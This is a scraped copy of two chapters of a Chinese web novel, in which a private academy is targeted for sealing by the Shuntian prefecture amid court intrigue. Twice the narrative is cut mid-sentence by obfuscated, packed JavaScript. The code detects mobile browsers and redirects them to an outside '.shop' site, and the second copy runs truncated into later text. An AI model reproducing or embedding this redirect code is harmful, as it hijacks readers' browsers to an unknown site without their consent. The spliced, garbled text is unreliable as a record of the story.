他在雍京城不过是个三品闲职,名不见经传,却出身江南巨宦家族。士族的风气在他身上发挥得十足地道,本身做官不勤勉,却极风雅。 七年前,西北大乱再加上天灾,饿殍遍野,楚蔷生问政,“不知灾民有多少,死亡者多少,活下来的人如何过冬,来年开春的春耕怎么办?” 这位沈大人长叹一声,幽幽引了一句《论语》,“未知生,焉知死。” …… 赵毓则说,“冯不倦当时也是好意。” …… 冯不倦的一位好友买画,沈熙载画作名满江南,又因为有钱有眼力,在收藏画作上简直可以说得上是独占鳌头。 可是,却不地道。 沈熙载那次出手的画,阎立本《职贡图》,是赝品。 冯不倦虽然穷,却天生能画,后来书读的不错,又受到了几位名师点拨,虽然比不上沈熙载,却也是后来者不可小觑。 其实,在赵毓看来,一听说‘阎立本’的名头,普通买家就不应该去,也不应该期待是真品。这幅画已经是稀世国宝,若非大祸临头,譬如抄家灭族,它的收藏者不会出手。 阎立本《职贡图》上一个收藏者是一百年前的权相晏世殊。 新皇登基,礼部尚书李贞贤奉新皇圣旨抄晏世殊府邸,清点出四千余件书画珍玩,当时就有阎立本的这幅《职贡图》。不过李贞贤也是个人物,敢想敢做,竟然将这幅画作收入秘篋,献给他的座师沈修己。而这位沈修己就是沈熙载的曾曾祖父。 从此,这幅画收入沈家九稀堂。 如今沈家依旧是巨宦豪族,无大难,无饥馁,怎么可能出手? 冯不倦陪着朋友验画,几经犹豫,这才对朋友说,“兄台不如先回,今天并非收藏画作的良辰吉日。” 已经很婉转了。他朋友听音知意,那天就没买。可是,后来不知道怎么个勾当,那个朋友还是买了那副赝品,同时与冯不倦绝交。 那个时候,冯不倦才知道沈熙载究竟有多大的手腕。 临近春闱,他甚至连一盒子墨都买不到。 科举要写馆阁体,墨都要浓、艳、烈,一般文人爱用的徽墨太淡,不和用的。 冯不倦连找了几家文房四宝店铺,都不卖给他,万般无奈之下,他听说南城新开门了一家学堂,就来雍南公学碰碰运气。 赵毓正好在。 听他这么一说,就拿了两盒子石脂水烧的浓墨给他。 冯不倦这才进得了礼部贡院。 …… 玉芳说,“沈家几代人都是兰芝社的领袖。赵老爷,雍南公学一开门,就隐隐约约与清流豪族们打对台。如今,您亲自得罪了曾经占大郑文官半壁江山的江南兰芝社,今后的日子,恐怕真的要不平坦了。” 赵毓,“怕了?” 玉芳摇头,“不。我怕您怕了。” 赵毓,“想听听我怎么说?” 玉芳翻烤着一大块鹿肉,“愿闻其详。” 赵毓,“烤肉的时候再加些孜然,这在西疆被叫做安息茴香,元承行从西北运回来的好物,浓烈的芳香,特别提味儿!” 玉芳愣了一下,大笑起来,没有一丝的温顺柔和,却爽朗,“好!” 赵大爷从土里刨出几坛子青梅子酒和绍兴黄,玉芳烤肉的手艺比赵毓强多了,所有人,除了文湛,都没少吃,最后一个一个的肚歪。 赵毓让人把玉芳送回去,他今晚就住在公学的院子中,文湛也留宿。 文湛给赵毓洗了头发,用大布巾把他仔细擦干净,就开始认真给他左手的伤换药,再仔细裹上新布条。 “你怎么会这个?” “学的。” 文湛的动作不太熟练,却非常仔细。一点一点的动作,不轻不重,不能让布条松,也不能紧到勒疼了赵毓,似乎他是个薄胎精细瓷儿,稍微动作一沉,就碎。 赵毓说,“冯不倦的事,我当时想着,只要雍南公学开门一天,和那帮子人早晚就对上,所以,也就无所谓一两盒子浓墨了。” 文湛,“只是写馆阁体用的浓墨吗?” “嘿嘿。”赵毓龇牙一乐,“什么都瞒不过你。我还给了他一整套馆阁体的字帖,外加破题、承题、起讲、入题、起股、中股、后股、束股全部要术和最近三十年春闱和殿试的全部考题,和范文。冯大人资质极佳,他杏榜排名不高不低,想来是不想引人瞩目,要是直接进三鼎甲,那就彻底是天下闻了。暴得大名,是福气,也是祸。” 文湛,“……” “考题是礼部刊印的,很多书局都有的卖。那些题目在放榜之后就要公告天下了,学子们拿过去要做文章用的,不是什么隐秘的东西。可是八股要术和范文却是重中之重,那是我们雍南公学自己写的。放心,科举是为国开科取士,科场舞弊是重案,我知道轻重,不该碰的东西绝对不会碰。” 文湛,“我知道你有分寸,只是,我想知道的是,这些范文出自谁的手笔,你的?” 赵毓,“呃,……,写范文的这个人,你,……,那个,也猜得到,就是,……,嘿嘿。” 文湛,“崔、珩。” 两个字,咬牙切齿,掷地有声! 赵毓,“你别生气!” “这个我真的写不了,要是我能写,……” “哎,~~~~~~” 叹气,他才说,“每次说起来就是泪。当年要是老爹但凡对我肯上点心,花钱给我请个好点的师傅,教我一些能吃饭的本事,比如八股什么的,而不是把我打发到东宫和你学那些无用的帝王术,今天,雍南公学这里关于科举 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16728994|189581||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的一切课程,我都自己操办了,不用再假手于人。” 文湛,“……??” 趁着文湛被他噎的说不出话,赵毓话开始多了起来。 “雍南公学能迅速在雍京城立足,靠的就是八股文章要术。那是科举,是功名,是门前仆从雄如虎,陌上旌旗去似龙!至于启蒙,书画,还有管饭什么的,都是幌子。” “江南兰芝社横霸朝纲数百年,靠的难道是他们吴侬软语忒煞情多;还是画的鱼能游,画的鸟能飞,画的马能跑;又或者是他们一个一个清贵到不食人间烟火?他们所倚仗的就是科举。我不是说他们舞弊,没这个必要,只要他们把书本,文章,老师都攥在手中,其他人就沾不到肉,能喝汤就不错了。” “那些读书人每日都曰,——知识,天下公器。” “虚,实在太虚了。” 文湛一直听,也一直在帮赵毓裹布条,却没有再说话。赵毓穷极无聊,趁机在文湛的手指上舔了一下。 文湛手指抽了,……,“承怡,别闹。” “咦?好冷淡哦!”赵毓空着的那只手又抓了抓潮湿的头发,“那天夜里紧压着我说哥哥再来一回的似乎不是陛下一般。” 文湛,“……” 火烛下,赵毓仔细看文湛,皇帝的面颊红的像火在烧。——真是个容易含羞的家伙,可是,在榻上你咋不这么容易害羞呢? …… 顺天府。 府尹,掌京府之政令。 宣化和人,劝农问俗,均贡赋,节征徭,谨祭祀,阅实户口,纠治豪强,隐恤穷困,疏理狱讼,务知百姓之疾苦。 总之,顺天府掌管雍京城垣内所有事务,垣外的事情则交由直隶总督署。 雍南公学刚好地处于雍京垣外,按理说,它的一切事务应该交由直隶总督署,可是,…… “倒霉,真正是倒霉。” 府尹刘同珝一大早对着刑部的令札开始唉声叹气。要说,这种时候,其实也挺罕见。顺天府正三品衙门,却比旁的正三品衙门愣是高出一头,旁的正三品衙门用铜印,而顺天府用银印,府尹位同封疆。能把他愁闷的想要中午多吃三碗炒菜面的时候,不多,真正不多。 刘同珝瘫在竹椅上,看着自家的衙内,呃,就是他儿子,一个光屁股的小子满院子乱蹿,他老婆在后面追,旁边还有老家跟回来的丫头和老妈子,闹成一团。本来的天伦之乐,被手中这封刑部札弄的全然败坏了兴致。 外门的烧火丫头进来蹲了一下,“老爷,门口有个穿粗布的大哥,用麻绳捆着两个粗土坛子,给您送盐菜。” 刘同珝就是直隶人,他家在邯郸府,有地,有香油坊。刘家一直为人和善,在老家就有祖传的乐善好施的好名声,刘同珝到雍京做官,外人看也是一副好性儿。老家来的人,不管怎么说,三瓜两枣还是拿的出,所以他在老家人当中名声也好,总归就是一句话,——兔子不食窝边草。 刘府常有穷亲戚上门,下人都习惯了,见来人,不管穿戴多破烂,也从来好言好语,实在见不到老爷,一碗热茶,一碗挂面总还是有的。 烧火丫头见了眼前这位,连忙搬了马扎让他坐着歇歇,自己跑进内府禀告。 刘同珝正心烦,一听说有人来,扔了手中的刑部令札,蹬上布鞋就到角门,却发现,眼前的人是柳密。 此人一身土布褂,洗的都褪色了,他旁边放着两个坛子,坐在门外的马扎上喝大瓷碗中的茶水。 “呦,今天乌鸦叫还是怎么着,柳阎王上门,准有大事儿!” 刘同珝说着命门房打下手,把坛子挪进屋,烧火丫头搬去厨房。 “没事。”柳密说,“你嫂子腌了点东西,让我送过来。你家爱吃面,这个用肉丝炒了下挂面吃,省事,也好吃。” “真没事?”刘同珝半信半疑。 柳密,“真没事。” 其实,不怪刘同珝疑心,柳密与他是同科进士,掌管都察院,是总宪天下的左都御史。人称外号,——柳阎王。如今大郑,上至王侯,下至九品教寓,只要还想踏实吃官俸,都明白,见着都察院躲着走,见到柳密倒着走。人们恐柳的心思,比对他的前任总宪楚蔷生的心思更甚。 “别说,你这么一穿,外面的人还真认不出来。”刘同珝让他向后面走,“后院太乱,咱们去菜地吧,你看看我种的蛇瓜,都一丈长了。” 刘柳两家是通家之好,见柳密进来,刘太太不用躲起来不见人,打了招呼,抱着孩子进屋,随后吩咐丫头把茶水点心都端到西边的菜园。 刘同珝问他,“今天中午别走了,留下吃饭。” 柳密,“好,正好给家里省一顿。” 刘同珝试探着,“你吃完了,我再让你弟妹蒸锅花卷,你拿回去给老婆孩子吃?” 柳密,“好。” 刘同珝,“……??” 刘府尹的菜园子刚上了肥,不是庄稼人出身的人还闻不惯。柳密也是农家出身,所以没有什么不习惯的,他连眉头都不皱,看了一眼刘同珝种的菜,————菜叶子油亮,花瓜、茄子、大辣椒肥厚。 这位顺天府尹的确是个好庄稼把式。 柳密说,“一会儿给我找个筐,你这里的菜我也摘了带回去,我们家就可以吃几天的了。” 刘同珝,“……???” 柳密,“怎么?” 刘同珝,“你最近是要遭大难了吗?” 柳密端了茶,解释到,“没有,我儿子要到读书的年纪了,家里省点,给他攒些钱,以后请个好老师,或者找个好学堂。” “哎。”刘同珝叹气,“你说说,人家都是几任封疆,有了不用刮地皮的本钱,才可以去做清官,你这倒好。” 柳密,“你不是一样?” 刘同珝,“我不一样,我家有地,打的粮食足够吃,有油坊,赚的钱够花。” 柳密点头,没说话。 刘同珝,“要说,咱们两个都没啥运势。人们都说你和左相大人像,可是,你看看人家楚公,当年高中的那一榜是‘龙虎榜’!他的同科进士们,互相推荐,互相成全,最后大家都是锦绣前途,如今外放的都是封疆,在雍京的都是三品以上的大僚。” “再看看咱们那一榜,有名的‘哑榜’,咱们同科们,除了咱俩还算混出来的,其他人,哎,不说也罢。” “琼林宴上坐我旁边喝酒的钱子喻,你记得吧,一直在徽州,他苦熬了多少年,却因为动了乡绅的地,被歙县、祁门、绩溪、婺源四个县的人追着告了五年,如今,账目是查清爽了,人的前途也坏了。去年还给我写信,说,没革除功名,就是天大的好事。等到卸任,他就不做了,回家种地,开馆课徒去。他终究是两榜进士,教课可以从孩童发蒙一直到科举,吃饭绝对没问题。” 柳密,“钱子喻?他就在雍京。” “什么?”刘同珝意外,“他什么时候来的?” 柳密,“去年年底。” 刘同珝,“他怎么没来找我?” 柳密,“去年雍京银价飙升,险些酿成大祸。年底,虽然说银价终于平稳了,可是很多善后的事情需要你做,顺天府太忙,钱子喻也许不想另外生枝节,就没登门。” 刘同珝,“他的事,你怎么知道?” 柳密,“去年年底他给我带了两坛子腌羊肉,一条猪后腿,还请我吃了卤煮,喝了二两烧锅。” 刘同珝,“厚礼!” “嗯。”柳密道,“辛亏那两坛子肉和猪后腿,我们家过年没另外买肉,省了不少。” 刘同珝端了盖碗,手指捏着盖,撇着漂浮的茶叶,“钱子喻如今在哪里高就?我觉得他不但吃饭没问题,而且还吃上了一碗好饭。” 柳密,“雍南公学。” 刘同珝手中的茶碗直接扣在他的大腿上,烫的直接从圈椅上蹦起来,“哪儿????!!!” “雍南公学。”柳密平淡的说。 137. 137 137 刘同珝用双手拍了拍身上的茶叶,又仔细看了看柳密,“柳总宪,你今儿来我这儿,到底有什么事儿?” 柳密将手中的茶碗放下,“没事。” 刘同珝,“真没事儿?” “嗯。”柳密说,“真没事。” 刘太太亲自下厨,炒了四个小菜,冰了米酒,让人端着,在菜园子中的藤桌上摆席面,说,“天儿热,别喝二锅头了,我冰了点米酒,不甜,度数低,你们哥俩好好聊聊,还可以敞开了喝,不上头。” 柳密站起来,“有劳弟妹。” 刘太太布置好,就带着人离开,刘同珝给自己倒了一大碗米酒,又给柳密满上,“今天你来了,就是天意,你得陪我喝几碗。” “嗯。”柳密还是很平淡。 “话赶话说雍南公学,……”刘同珝说,“这是我最近遇到的一个大|麻烦!” 柳密看着他。 刘同珝说,“这个雍南公学的背后是元承行。元承行就是之前的西北道,也是去年雍京银价风波的最大赢家,背景极其复杂。不说他们的银票汇票债票这些东西,只说,这个幕后老板姓赵,来历不清不楚,就够人头大,更令人头晕的是,这里面还牵扯到原先的西北藩镇尹明扬,与宁淮侯崔珩。” 柳密,“雍京城,还有你不清楚的人?” 刘同珝,“元承行特殊。” 说着,他甚至左右瞟了一下,压低声音说,“老柳,有空儿,你去元承行瞧瞧去。那个院子中央有个巨木构架的四面八角楼,挂着一道元承行的匾。” 柳密一挑眉。 刘同珝,“我听有人说,那个匾的来历都不对劲。” 柳密,“怎么?” 刘同珝,“那三个字,据说,特别像,……,御笔。” 顺天府尹说话,都好像怕惊动了谁,最后两个字就好像是嘴唇之间摩出来的,不仔细听,连个响动都没有。 柳密又一挑眉,“确定?” 刘同珝,“就是不确定。” 今上性格极其内敛,不好大喜功,也没有游山玩水的闲情逸致,不作诗,也不题字,因而他的文字从未流传于世。即使是微音殿伺候笔墨的学士们,能看到皇帝的笔迹,所见到的不过都是一些制式的文字,诸如阅,是,知道了。再多一些的字,就由皇帝口述,侍墨学士落笔了。 柳密,“既然不确定,就不要乱猜。” 刘同珝,“你不用乱猜,因为这和你没干系,我不琢磨琢磨,我就倒霉啦。” 柳密拿筷子给刘同珝夹了一块烧豆腐。 刘同珝吃完叹口气,“端午那天夜里,雍京城出了大事。” 柳密点头,“南城。” “对!”刘同珝说,“一个人手捧血书跪在午门告御状,告的是北境总督徐绍。徐大人如今镇北方,国之干城,别说动,就是碰,都碰不得。告状的人还有一个同伙,是个小姑娘,为了帮他直接吊死在城墙上。你知道那个小姑娘什么来历?” 柳密等着他说。 刘同珝,“她的两个眼睛珠子是蓝的,是个高昌遗孤。” 柳密,“勾结外族,妄图动摇国本?” 刘同珝,“外人粗粗一看,都是这个结论。所以,关系到那个西疆遗孤的一干人等下诏狱等待细审,合情合理吧。” 柳密,“是。” 刘同珝,“事实上,也是这样做的。这个孩子的养父梁十一全家下了诏狱,那还是北镇府司前指挥使。可这里还有个麻烦,这个孩子在雍南公学上课,这就把雍南公学给牵连进来了。” “也就两天前,我听说,刑部叫元承行的大掌柜薛宣平去问话,问的就是这个女孩子的事。问来问去,刑部也没得到什么重要的东西。据薛宣平说,他们东家得了梁十一两坛子腌肉,眼皮子浅,被猪肉猪油蒙住了心,就收下人家的养女。这也合情合理。老柳,你说说,梁十一,当年可是北镇府司的印把子,别说姓赵的一个买卖人,就算是满雍京的王侯们,哪个没事儿得罪他?人家都开口了,也不是什么大事,不就是送个女学生进书院,姓赵的能不同意?这不正好是个巴结的好机会?” 柳密,“这事到这里,就了结?” “要是能了结,我还在这里愁云惨雾的做什么?”刘同珝又喝口酒,叹气,“刑部真不是东西,他们明面上问不出什么,就把薛宣平放了,背地里却下了命令,让我顺天府去查封雍南公学,你说说,这不是给我挖坑吗?” 柳密,“雍南公学地处雍京垣外,不归你,应该归直隶总督署。” 刘同珝一拍手,“我也是这么说的!我还给刑部写了回执,让他们找直隶总督去!结果你说怎么着,直隶总督方俭之,去山东了!说东海水师接替宁淮侯造船,做的不错,他得去看看。别说,这是正经事,谁让人家总督直隶、山东两省的军务?” 柳密,“哦。” 刘同珝,“我仔细一打听,感情这位方大人的第三个小老婆的二舅爷,是写这个文书的刑部书吏家的邻居。所以这位方大人早得了信儿,在刑部没下令札的时候就跑没影儿了。” “哎。” “所以,这倒霉差事,最后落我脑袋顶上了。” 柳密,“雍南公学你不敢惹,刑部,你就敢硬杠?” 刘同珝,“我不是不敢惹雍南公学,连刑部都问不出个四五六来,就说明人家没事。人家没事儿,我惹人家做什么?可要说和刑部硬杠,我也不敢。刑部尚书正二品,比咱那是官大一级压死人,这个不提,这位尚书啊,哎,老柳你也知道,他吏部的履历,明眼人一看,就知道朝中有人。他老家在昆山,是江南兰芝社的人。” 江南兰芝社横霸朝纲数百年。 如果不是二百年前宪宗皇帝力行设置雍京官话,如今距离长江遥遥千里的雍京,也应是满朝的吴侬软语了。 月有阴晴圆缺。 兰芝社也不是永恒不变。 先帝凤化年间的第二位也是最后一位内阁首辅杜皬,就是兰芝社最后的辉煌。 本朝开始,再没有兰芝社的人登上首辅的高位。 百足之虫死而不僵,更不要说如今依旧占据大郑文官半壁河山的江南兰芝社,并没有全部没落,依旧是文官领袖。 刘同珝喝酒摇头叹气,“难啊,当真是难死我了。” 柳密忽然说,“我给你推荐一个人,让他带兵去查封雍南公学。” “谁?”刘同珝两眼冒光。 柳密,“温岭。” 刘同珝,“我衙门里那个败家子儿?” 柳密点头,“就是他。” 刘同珝,“为什么?” 柳密,“反正指派别人,别人又不去。” “……” 过了好一会儿,柳密安静的喝了酒,吃了菜,也吃了馒头,刘同珝才问,“老柳,跟我说实话,你过来,到底有什么事儿?” “没事。”柳密平静的说。 临走的时候,柳总宪不忘拿着刘太太亲手蒸的一布袋花卷,和一箩筐刘大人亲手种的青菜,满载而归。 …… 哪个衙门口没养闲人? 顺天府里面就养了一个大闲人,人称“败家子”的温岭。 这个人的外祖父温十行是当年毓正宫的殿前督将军,可惜,温岭的妈找了一个纨绔丈夫入赘,自从这位外祖父去世,天灾人祸,连累温家的日子过的是一蟹不如一蟹。温岭的亲爹是个纨绔,温岭自己是纨绔加败家子。 他曾经为了买一个柴窑瓶子被人骗了一个宅院的钱财;也曾经好心眼儿想要救风尘,结果,人家姑娘是仙人跳,同伙们把他扣了饿了七天不说,还讹了温家一大笔银钱;当然,这些都是小意思,温十行人虽然不在了,余威还在,他原先的属下们念着他老人家的一些好处,没那么快人走茶凉,于是瞧在温岭妈上门喝茶的面子上,给温岭爷俩找了个差事,在雍京铸银局的银库做守备。 这爷俩也是厉害,有多大的台面,现多大的眼。 去年雍京城银价波动,上面下了命令,调用一些现银去平稳银价,温岭爷俩正好盯着兵士从银库中起官锭。 祖传的规矩,——进出的兵士全部赤|身|裸|体,双手高举过头顶,捧着银锭。 这个做法可以防止兵士在进银库的时候偷盗。温岭他们不懂,他们以为开银库就和开粮库一样,只要打开门,让人抬了银子出来就好。当时进出的兵士们没有脱光,因而,这些人在温岭爷俩的眼皮子底下,在裤子中私藏了许多银锭,最后抓住笼统一算,私藏的几乎比入账出库的银锭都多。 抓现行的那个人,是个陌生人。 温岭不认识。 不过他身边的那个大太监,温岭却熟,那是司礼监秉笔太监,黄枞菖。 “这是当年毓,……” 黄枞菖似乎想要为他们爷俩讨个人情,想要把外祖父是当年毓正宫温十行的名头抬出来,那个人没空听。 “全部革除,一个不留。” 好大的威风! 可是,那些偷白银的兵士们却感恩戴德,这是给他们留了一条活路。因为,按照祖传的规矩,偷银库的人被抓住,要被烧红的烙铁穿身,死的时候,肠穿肚烂,不能瞑目。 温岭爷俩却是一股子窝心火。那些兵士毕竟有罪,可他们爷俩无辜,这样的一视同仁的处罚,简直是天大的冤枉!温岭他爹回去就病倒了,是活生生给窝囊的。俗话说,病来如山倒,病去如抽丝,温家一个冬天都过的愁云惨淡万里凝的,今年入夏,温岭爹的病好起来之后,家人才松快了一些。 温岭则被他妈走了个门路,塞到顺天府里面来吃闲饭。 温岭多方打探,终于找到那个人的名头,——赵毓。 “查封雍南公学?” “元承行赵毓的雍南公学?” 温岭从顺天府师爷手中拿过手令,心中得意,——老子早就憋着一肚子窝心火,姓赵的小子,你给老子等着! …… 站在回廊下,刘同珝看着温岭点了人马,浩浩荡荡出顺天府门,心中居然有些忐忑不安。 自己是否过于轻信柳密了? 是的,轻信。 官场上人情复杂,不能得罪人,也不能相信人。 同僚,有可能就是伤人最深的那个。 可是,不至于。 刘同珝将他与柳密认识这么多年来的事,翻来覆去在脑子里面过了一遍。 不至于,真的不至于。 虽然说人心隔肚皮,一个人,究竟是人是鬼,不到要命的时候还真看不出来,可是柳密不至于。 这个人复杂,却有情有义。 当年,刘同珝秋闱高中,他爹用酥肉、粉条和豆腐放在大铁锅中炖煮白菜,外加开花的大馒头,在老家开了七天的流水席,让他作陪。吃的他这辈子不想再多吃一口酥肉了,连忙逃离老家,在年底进雍京。 刘同珝到了卢沟桥码头,也看了卢沟晓月那里耸立的历代名臣的石碑,就在旁边的柳树荫下吃了一碗青菜面。 面摊是一对儿小夫妻在经营。 那就是柳密和他老婆。 柳家是清白农户,就是穷。 他们老家那片是周王封地,盛产回天草,顾名思义,濒死之人吃了这种草药能回光返照,所以周王封土有一种独特的规矩,就是农户上山采回天草,可以抵徭役。回天草生在悬崖上,而且穿过几片密林,都有野狼和豹子,很多人进山都无法活着出来。 柳密出生那个时候,黄河要清淤泥,他们家需出壮丁去挑石头。柳密一个奶娃,他娘一个产妇,家里没人照顾,亲爹上山采药,想着用草药抵徭役。 结果,人没回来。 同村的壮小伙们上山去寻,只找到柳爹的弓、镰刀,筐和半截身子,肚子和内脏都被野狼吃空了。筐里除了回天草还留着一些草药,那是妇人产后补身子用的。 柳密的妈年轻守寡,要不是有一个儿子守得住几亩薄田,早就被叔伯子侄收了屋赶出村庄了。可就是这样,一个女子月子里哭的差点瞎眼,又拉扯一个孩子,干农活,操劳的身子一直不太好,在柳密十岁的时候,也去了。 邻村一个秀才,屡次科举,屡次落第,怎么也考不上举人,也就绝了这个念想,办了个学堂,教一些孩童读书。 柳密白天下地,晚上收工之后,去秀才的学堂读书,秀才给他开小灶。 秀才闺女和他一起读。 他们两个青梅竹马,到了年纪,柳密就娶了自己的师妹,这位女子也就是如今的柳夫人。这么多年,他们夫妻依旧恩爱如初,柳家连个小老婆都没有。 柳密十四中秀才,十六岁中举! 可惜,他之后不考了,带着老婆到雍京,开了个面摊。 “我岳父让我这么做的。”很多年后,柳密对刘同珝说,“他说,我要是春闱再侥幸,不到十八就中进士,真要名垂青史了,可是,那之后呢?一个十八岁的毛头小子,人情世故一概不懂,怎么做官?我们穷,请不起好的幕府,如果榜下得了实缺,那么多双眼睛盯着,估计都熬不过一个任期。” 别说,本朝还真有一个十八岁高中进士的奇才,官运亨通,就是如今的漕运总督阙河图。 可是,一来,阙总督出身运河沿岸的阙陈董明四大家族中的阙氏;再来,这位总督的亲爹虽然没有功名却是江南第一幕府,一直游走于各个封疆官邸。 一放榜,阙师爷赶紧请辞,收拾行装上路,去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“怎么回事?”薛宣平一扯帘子,就见眼前的兵士,穿着顺天府的服色,整整齐齐的,人数不少,排的像大块豆腐一般,依次出城。周围有好热闹的人七嘴八舌,都传遍了,——顺天府抄雍南公学。 “糟!”薛宣平心里着急,也无济于事。 赵毓起的晚。他睡的也晚。左肩膀伤了的地方开始长肉,又痒又痛,他晚上睡不着,开始折腾。幸好文湛在,陪他了半宿,终于把那股子邪火折腾下去,才消停。太阳晒屁股了,赵毓晃晃荡荡坐起来。 文湛端了茶碗给他喂了一口水,赵毓用手指支撑起来眼皮子,看到文湛早已经洗漱清爽。 “你怎么起这么早?” “不早了。”文湛绞了布巾过来,给他擦脸,“我看完书,写了字,练了剑,还吃了饭。” 这个院子,除了赵毓,其他人都起得早。 黎明。文湛提着剑出屋门,在后院看见赵大妈已经开始烧火做饭了,赵大爷在砍柴,罗小草在旁边开着窗的屋子里面写字。等文湛练了剑回来,就看见罗小草端着个木盘子,一个大碗,像一个花盆,还是禁宫中养桂树盆栽的盆。 这里面装着满满的,……面。 文湛不知道这面是怎么做的,看着很粗壮,面条摆放得满满的,里面埋着很多东西,有菜,有肉丝,还有荷包蛋。 “叔叔,给您的面。”她跟着文湛回屋,把木盘放在桌子上,“叔叔自己吃,等哥哥醒了,赵大妈再给他做。” 她跑了出去。 东宫的教养异常严苛,吃食上尤其是。 所以,从小到大,文湛没有用过比脸大的碗来吃面条,而吃米饭的碗则比茶盏大不了多少。用可以装的下桂树的盆吃饭,需要破除他从出生到如今常年养成的严苛法度与习惯,而,皇帝不打算破例,所以他也不打算吃。 不想,一会儿,罗小草又回来了,手拿了一个空碗,非常精致,似乎比姑娘的脸还要秀气上三分。 “叔叔,您用这碗,小。赵大妈说,叔叔是精贵人,吃饭得细致点。” 说完,放下东西,她又跑了。 现在,桌面上摆着一个看起来依旧很满的面碗,还有一个用过小碗,横着一双筷子,一看,也是用过的。 赵毓迷糊下了床,爬到桌子前面,很自然拿着文湛用过的筷子直接从大碗中夹面吃。 “那位罗小姑娘说,赵大娘可以再给你煮一碗。” “这个就挺好,好吃,别浪费。” 看着赵毓吃,文湛拿过一把木梳,给他梳理一下头发。 “对了。”文湛说,“昨夜柳从容来过,说姚直,就是你从宫里带去诏狱的那个仵作,知道勒死珊依的凶器是什么了。虽然不是万无一失的确定,却大致对的上。” 赵毓一愣,“这么快?” 文湛,“姚直当时就心中有数,只是,……” 他说着,指了指桌面。 赵毓饿的两眼发花,刚才只看见面碗,没看到其它,此时,方看到那里是一个木盘,上面盖着黑色的布。 他放下筷子,单手一掀,随即动作停滞,黑布旋了一下,垂下,像幡,招魂用的。 “这是,……??!!!!” 盘中是一条黑色的绳,十六股丝线拧成,里面还掺杂着金丝。 “是的。”文湛点头,手中的木梳在赵毓的头发上不轻不重的梳理着,“这是宗室系玉佩用的丝绳。” 赵毓,“姚内监好眼力。” 文湛,“常在内廷,自然熟悉。当时在诏狱,姚直看到珊依后颈上的伤痕,很特殊,是蔓藤莲花纹,就留了意,等回宫后找出这种细绳,一对比,自然就明白了。” 金丝用非常复杂的手艺缠绕成莲花蔓藤纹路,再缠进黑色丝线绳索中,而只有名字刻在宗室玉牒上的人,才能用这样的绳索系玉佩,这是大郑祖训。 赵毓把黑布扔了回去,拿筷子继续吃,“麻烦,真正的大|麻烦。” 在诏狱,当他从仵作口中得知珊依不是自己跳了雍京南城墙,而是被人勒死挂在绳索之上时,他脑子中闪过了八个人的影子。他甚至连殷忘川都怀疑,虽然他知道,此人的性子桀骜不驯,却不屑于做如此阴损之事。可是,他万万没有想到,最后的事实却比他设想的不堪还要更加恶心。 赵毓觉得有些郁闷,于是夹了一块肥肉扔嘴巴里。不想,他还没把嘴里的肉吃消停了,罗小草在外面喊,“哥哥,哥哥,赵大妈让我来告诉您,公学让人围了。赵大妈还让我问您,咱们要不要钻狗洞?” 文湛只当没听见。 赵毓嘀咕,“俗话倒是说了小仗受大仗走,可俗话还说过兵来将挡水来土掩,怎么就沦落到要钻狗洞?” 随后,高声冲着外面喊叫,“不钻!” 138. 138 138 赵毓一出卧房,就被温岭堵门口了,他连忙带上门,却被温岭一阻。赵毓说,“我让人煮茶,咱们有话,外面说。” 温岭不用看,只用鼻子稍微闻一下,就知道眼前这扇门后曾经闹出过怎样的香艳勾当! 他本来想着把门踢开! 只不过,转念一想,自己也算雍京地面上混得有名有姓的一号人物,如今他可是堂堂正正奉了顺天府明令来的,又不是绿云盖顶的窝囊男人抓奸,没必要将人家一双人堵在这里。 如今要做的事情是‘抓贼拿脏’,至于‘抓奸成双’这种事,他可管不着。 温岭退了一步,开口问,“赵先生,您认识我吗?” 赵毓,“令堂大人是妇道人家,我肯定不认识。” 他说着就要向外推温岭,却被温岭一把扯住胳膊。其实,温岭也不是十足十棒槌,至少,他娘不是。雍南公学这档子破事儿他亲娘听了一耳朵就嘀咕,难办,当真难办。 今天一早,温岭出门之前,他娘还扯着他特意嘱咐了一番,“别把事情做绝,给自己留后路,甭等着出了什么事,你们府尹一推二六五,把你这个傻子扔出去当垫背的。” 本来,温岭想着,只要赵毓不是十足十混账,他一定和颜悦色。过来抄家,损阴德,这个话,还是可以好好说的。结果,赵毓就是一个十足十的混账王八蛋! “姓赵的,给脸不要脸,是不?” “怎么说话呢?” 赵毓边说着,边看着温岭胳膊旁边的门。 ——没有严丝合缝关上,颤巍巍的,刚好露出一条极细的狭窄缝隙,而缝隙中,则露出文湛一个袖子边角。 幸好。 今天这位陛下好歹知道要在城南过夜,这里土,要见人,所以他没穿缂丝,只穿了一身湖丝,呃,如果上面不是绣着洛州无影,而是普通山水就好。其实,最好的花纹就是花花草草,还有文人最爱的梅兰松竹,看着素净,吃着顺口。 温岭看着赵毓的眼神一直向门边瞟,而且,门也开了一条缝,于是他也拉住了门,“这屋子里面是谁呀?” 说着,就想要扯开门。 赵毓一把横住,温岭看着他弱鸡一样的胳膊,本来不在意,可是自己愣是没扯开这扇门。 “这可不能说。”赵毓正色道,“说出来,吓死你。” 温岭见赵毓这么说,混账劲头也上来了,“哟,那您得说。来,我听听,是吓死我,还是憋死您?” 赵毓一挑眉。 温岭,“我可不是吓大的。” 赵毓,“那您是西北风刮大的?” 这下糟糕了,赵毓、温岭这两个二百五凑一块了。 温岭一被激,这次用了两只手抠住门,心想: ——我就不信这个邪了,这次一定要把这扇门抠开,看看陪赵毓睡觉的小蹄子到底是个什么货色? 赵毓一见他耍浑,一只脚顶住门,就是不松动,“喂,你认识黄枞菖?” 黄枞菖? 司礼监秉笔。 位置仅次于掌印,有‘批朱’的权力,朝野尊称一声‘内相’。 听到这个名字,温岭一愣。 